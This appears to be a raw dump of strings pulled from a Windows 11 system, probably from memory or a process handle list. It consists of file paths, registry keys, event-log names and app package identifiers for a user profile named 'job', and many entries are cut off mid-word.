\Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\index metadata.json \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\index metadata.json data_3 LOCK prnms015.inf 3\Windows\apppatch\MergeSdbFilesSource\01DCA3237C6DC4C6.sysmain.sdb \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.WidgetDataModel.AppXtssqmbez7x7hn3895zxg2qj5wn26dpvv.wwa resources.pri \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\AdSelectionAttestationsPreloaded\manifest.json a\Local\Packages s.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database\LOG.old~RFdbd9.TMP 63}\0003 \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\SharedUtilities.Stub.BackgroundTasks.dll production \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\No_Vary_Search\snapshot.baf \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\ntprint.inf_x86_53c7641b66238d0c\ntprint.inf:WofCompressedData al Storage\leveldb\LOCK windir=C:\WINDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_1 Service-0x0-3e7$\Default \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\History-journal mRemoteNG wscsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData .1.odl \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_53c7641b66238d0c ew2.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy ASE.dll .dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe:WofCompressedData WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\DataCollection \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks.json \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_8cdc889b3f73e3da\prnms009.Inf \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\wv2winrt.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Inventory.evtx \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\Account\assets\strings \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpClient.dll WIN://SYSAPPID MicrosoftWindows.Client.Photon_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\Analytics \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Safety\network\local \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe WofCompressedData \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\Analytics \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vcruntime140_1.dll n.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak .dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe 01\Preferred \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\Taskbar.View.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\Social \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vcruntime140_1.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Payments.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WsxPackManager.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx 72286-1001\Preferred \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-CloudRestoreLauncher%4Operational.evtx ists\Mu\Analytics \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx 72286-1001\Preferred \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx tection Lists\Sigma\Social \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\ExperienceExtensions.dll urces.pri \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtx rotection Lists\Mu\Social \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\INetCookies \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Microsoft\Diagnosis\AggregatorStorage\Triggers\5015151236818424748_data.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D data.dat \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx 3d8bbwe\resources.pri \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\ExperienceExtensions.dll urces.pri \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WsxPackManager.dll xyewy\AC\INetCache \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx tection Lists\Sigma\Social \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtx rotection Lists\Mu\Social \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AAD.Core.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin b3d8bbwe\Bcp47Langs.dll .dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\0ce334799d7d3fce_1 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WsxPackManager.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\INetCache \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtx rotection Lists\Mu\Content \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WsxPackManager.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx tection Lists\Mu\Other \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx 3d8bbwe\resources.pri \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtx rotection Lists\Mu\Content \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2 \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WsxPackManager.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WsxPackManager.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx ction Lists\Sigma\Other \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-CloudRestoreLauncher%4Operational.evtx ists\Mu\Analytics \Device\HarddiskVolume3\Windows\ImmersiveControlPanel\SystemSettingsViewModel.Desktop.dll:WofCompressedData -1001\Preferred \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak .dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AAD.Core.dll Protection Lists\Mu\Other \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx tection Lists\Mu\Other \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AAD.Core.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx ction Lists\Sigma\Other \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2 \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.Experiences.Switcher.dll WofCompressedData \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.DesktopHosting.dll \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.Experiences.Switcher.dll HID_DEVICE_UP:0001_U:000E \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WinRTComponents.dll resources.pri \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Payments.dll 3d8bbwe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe ngsSearchData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalCache ta\Helium \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WinRTComponents.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-CloudRestoreLauncher%4Operational.evtx gsSearchData \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak GameList.bin \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-CloudRestoreLauncher%4Operational.evtx gsSearchData \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.Experiences.Switcher.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\SettingsSearchData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Payments.dll 3d8bbwe\resources.pri \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx 3d8bbwe \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\ExperienceExtensions.dll urces.pri \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WinRTComponents.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe TempState \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\WinSxS\amd64_userexperience-shared_31bf3856ad364e35_10.0.26100.7705_none_b297942170e88d81 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Payments.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalState \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe urces.pri \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk 8772286-1001\Preferred \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.DesktopHosting.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.DesktopHosting.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak GameList.bin \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Payments.dll \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.Experiences.Switcher.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.DesktopHosting.dll:WofCompressedData \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\KnownGameList.bin \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe BWebView\Default \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\ExperienceExtensions.dll urces.pri \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Payments.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe\resources.pri bbwe \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.ApplicationModel.winmd:WofCompressedData txyewy\TempState \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WinRTComponents.dll \resources.pri \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.Experiences.Switcher.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\FeedSessions \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.DesktopHosting.dll \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.Experiences.Switcher.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin sCache.txt HID_DEVICE_UP:0001_U:000E \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned we\netutils.dll .dll \Device\HarddiskVolume3\Windows\ShellComponents\WindowsInternal.ComposableShell.DesktopHosting.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe bwe\NTASN1.dll NTASN1.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin .dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\libGLESv2.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-100_8wekyb3d8bbwe N1.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini lState tils.dll .dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\libGLESv2.dll PROPSYS.dll .dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AAD.Core.dll::$EA \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\libGLESv2.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader.dll ttingsCache.txt Windows NT SEGOE UI Segoe UI wscsvc.dll Service-0x0-3e7$\Default \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe msedgewebview2 S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_3 ionary\cache\index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data age\leveldb CURRENT 63}\0000 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Reporting and NEL \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Trust Tokens \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_1 \MREMOTENG.EXE \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ClientCertificates\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_0 MicrosoftWindows.CrossDevice_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control BrowsingTopicsStateacc8-54ac47ff6585.tmpOCKER istry\Machine\Software\Class MicrosoftWindows.CrossDevice_cw5n1h2txyewyF1A} LOCKER MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewyCKER \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft-Windows-ReadyBoost%4Operational.evtx \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Safetyols MicrosoftWindows.Client.CBS_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control af21c42d-5dae-454d-b699-df69fdd1ef8f.dat.~tmp \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings \\?\SWD#MIDISRV#MIDIU_DIAG_LOOPBACK_B#{e7cce071-3c03-423f-88d3-f1045d02552b} \Users\job\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control heavy_ad_intervention_opt_out.db-journalOCKER \Device\HarddiskVolume3\Windows\System32\fcon.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\PdfPreview \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls \Device\HarddiskVolume3\Windows\System32\Midi2.VirtualMidiTransport.dll ISTRY\MACHINE\SYSTEM\Control+copilot_overlay_images_100_percent.pak.DATAER ISTRY\MACHINE\SYSTEM\Control(copilot_overlay_unscaled_images.pak.DATAOCKER \Device\HarddiskVolume3\Windows\System32\Windows.UI.Immersive.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\Midi2.VirtualMidiTransport.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\oneauth.dll \Program Files\WindowsApps\Microsoft.GetHelp_10.2407.22193.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\Windows.UI.Immersive.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\oneds.dll MicrosoftWindows.CrossDevice_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls \Program Files\WindowsApps\Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe21b8} istry\WC\Silof4593ea5-87de-d Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe MicrosoftWindows.CrossDevice_cw5n1h2txyewy +copilot_overlay_images_200_percent.pak.DATA MicrosoftWindows.CrossDevice_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\onramp.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\SystemCertificates \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings \Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\AC \Program Files\WindowsApps\Microsoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe \Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089 \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl \Windows\System32\DriverStore\FileRepository\prnms003.inf_x86_9b721691c1dd59e5 ISTRY\MACHINE\SYSTEM\Control e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCache Microsoft.StartExperiencesApp_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\hwreqchk.dll ISTRY\MACHINE\SYSTEM\Control Secure Preferences-b655-b6bc3fc239b5.tmpOCKER \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Windows\Libraries \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Windows\Recent \Registry\WC\Silof4593ea5-87de-db06-313e-b59deeb5b394user_sid\Environment MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe -AppDefaultsMonitorWinAssociationChangeMessage ,WindowsForms10.Window.8.app.0.129c866_r7_ad1 \Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_53c7641b66238d0c \Device\HarddiskVolume3\Windows\System32\bdesvc.dll \Device\HarddiskVolume3\Windows\Prefetch\FILECOAUTH.EXE-F2EB91B6.pf Microsoft.StartExperiencesApp_8wekyb3d8bbwe WNS Data Connection \Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_599b45cc10461477 ISTRY\MACHINE\SYSTEM\Control Preferencesea-495b-b8bb-8f3d7457b248.tmpder \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe-shm \Device\HarddiskVolume3\WINDOWS\system32\Windows.Storage.Search.dll \REGISTRY\MACHINE\SYSTEM BookmarkMergedSurfaceOrdering02ea19a.tmpvice MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft-Windows-WinRM%4Operational.evtx 